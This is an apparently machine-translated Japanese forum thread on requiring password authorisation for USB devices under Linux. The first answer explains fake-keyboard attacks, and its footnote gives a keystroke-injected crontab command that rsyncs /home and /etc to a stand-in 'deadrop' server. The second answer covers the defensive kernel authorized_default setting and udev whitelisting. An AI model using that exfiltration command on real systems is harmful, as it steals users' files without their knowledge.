ドライブ、スマートフォン、プリンタなど、すべてのデバイスをUSBに接続するときは、システムがこの接続を承認するためにパスワードを要求し、デバイスがUSBに接続して入力した後にのみ正しく動作するようにする必要があります。パスワードパスワード。どうすればいいですか?
答え1
現在のUSBの仕組みではこれを許可していないようです。 (これらのいくつかは、LinuxでUSBが動作する方法によるものです。)
- USBデバイスを接続すると、ハードウェアはそれを検出します(そうしないと、新しいUSBハードウェアがあることをコンピュータに知らせることができず、バスを実行し続けるために必要です)。
- オペレーティングシステムの内部には、どのUSBデバイスがあるかを格納するデータ構造があります。 「バスアドレス03:01に未知の種類の新しいデバイスがあります」などの新しいエントリを作成する必要があります。
- これがどのタイプのデバイスかを判断するには、デバイスに次のように質問する必要があります。あなたは誰ですか?
- デバイスはベンダーIDと製品IDで応答します。これらは自由に作り出すことができる2つの数字だけです。もちろん、「良い」USBデバイスは、そのデバイスを正しく表すIDを送信するように選択します。 USBにはこれを検証できるメカニズムはまったく存在しません。
- さらに、デバイスはその内容の説明を含む文字列を送信します。同じ取引:毎回同じコンテンツを送信するように強制されるのではなく、デバイスを自由に選択できます。
したがって、私たちが最初に気付く必要があるのは、悪意のあるデバイスから保護したい場合はこれが問題になるということです。単に5ユーロのマイクロコントローラ開発ボードを持ってきて、「こんにちは、私はキーボードプレーヤーです」と言うようにプログラムし、プログラマーのキーボードタイプを持って会社のオフィスに入るときに案内デスクで確認することができます。 '、あなたのLinuxはこれを信頼しなければなりません。なぜ?本物と偽を区別する方法がなく、会社のキーボードをホワイトリストに登録する必要があります。そうしないとログインできません。
ただし、キーボードをホワイトリストに追加すると、確認せずにすぐに自分のデバイスを受け入れます。私の偽のキーボードは、1秒以内にユーザーのすべてのファイルを中央サーバーにアップロードしたり、ユーザーが削除できるものをすべて削除したり、キーロガーをインストールします。
ところで、状況はさらに悪化します。 USBデバイスを接続し、カーネルがそのデバイスをすでにドライバがロードされているデバイス(別のペンドライブなど)として認識すると、ドライバはユーザに土地について知らせずにデバイスに接続できます。 。ユーザースペースに誰も通知しない場合は、確認ダイアログボックスを表示する方法はありません。
ただし、悪意のあるユーザーから保護したい場合、このソリューションはとにかく役に立ちません。彼らは実際に接続してはいけないUSBデバイスを接続するためにパスワードを入力したことを知っているかどうか気にしないか、Fake Keyboard、Legitimate Printer、およびIn-Cableで説明したのと同じトリックを使用しています。同僚とUSBハブ。同僚がプリンタを開き、Brotherプリンタと主張するデバイスのパスワードを入力しますが、実際には悪意があり、なぜパスワードを2回(実際のプリンタの場合は2番目)に入力するのか疑問に思い、盗まれたことに気づいていません。
1ほとんどのPCにはキーボードとして機能するデバイスがあるため、キーボードをお勧めします。ヘッドセットの音量ボタンであっても端末であれば、必要なボタンを押すことをシミュレートすることができます(...win terminalenterAlt+F2xtermenterAlt+F2xfce-te確かになるまで)少なくとも端末ウィンドウを開く必要があります。echo⏘'0⏘*⏘*⏘*⏘1-5⏘rsync⏘/home⏘/etc/⏘rsync://deaddropserver.com/evil'⏘|⏘crontab⏘-を閉じて、少なくとも1つの端末ウィンドウが開いていることを確認します(Ctrl+DAlt+F4Alt+F4Alt+F4Alt+F4...)
答え2
通常、ユーザーには表示されませんが、udevイベントはすべてのUSBデバイスの追加、変更、および削除によってトリガーされます。
Linux USB サポートには、ユーザー空間で USB デバイスを最初にスキャンするまで、USB デバイスを無効にするように設定する機能がすでに含まれています。望むより:https://www.kernel.org/doc/Documentation/usb/authorization.txt
デフォルトでは、すべてのUSBデバイスは使用が承認されます。最初のステップはデフォルト値を変更することです。
for i in /sys/bus/usb/devices/usb*
do
echo 0 > "$i/authorized_default"
done
その後、udevルールを追加して、D-Busまたは同様のルールを使用して、新しいまたは変更されたUSBデバイスに関する情報をユーザースペースツールに渡すことができます。このツールは、人間が読める方法でデバイスを識別し、パスワードを要求します。 udevの最新バージョンは長期実行プロセスを許可せず、ユーザーセッションとの直接的な対話を防ぐためにさまざまなレベルのサンドボックスを適用できるため、これらの中間ステップが必要です。
パスワードが正常に入力されると、パスワードを確認する要素はそれを許可されたデバイスのホワイトリストに追加し、「Authorized」属性を/sys/bus/usb/devices/<some path..>
1(true)に置き換えます。以前は、特定の種類のデバイスのドライバがロードされても、そのデバイスが存在するという情報を取得できませんでした。
デバイスに権限を付与すると他の udev イベントが発生する可能性があるため、まずデバイスがホワイトリストにあることを確認し、そうであれば、非対話式で許可する他の udev ルールを上記のルールの前に置くことをお勧めします.
この確認にはデバイスタイプの確認も含める必要があります。以前にUSBストレージデバイスとして許可されていたデバイスが突然再接続されたため、USBストレージデバイス、キーボード、およびマウスが接続されたUSBハブラであると主張している場合は、新しいパスワードをトリガーする必要があります。要求とデバイスが以前とは異なる機能を報告していることを強調します。
キーボードに似たデバイスであると主張するすべてのデバイスについて、より厳格でなければなりません。しかし、「上司がキーボードとマウスをコーヒーに浸し、できるだけ早くコンピュータを再利用できるようにする必要がある」などの問題を処理する方法も必要です。つまり、キーボードが別々のシリアル番号であると判断された場合は、以前の認証が失われたすべてのシステムに対して新しいマウスとキーボードを認証できるように、サポートチームに「普遍的に許可されているマスターキーボード」が必要です。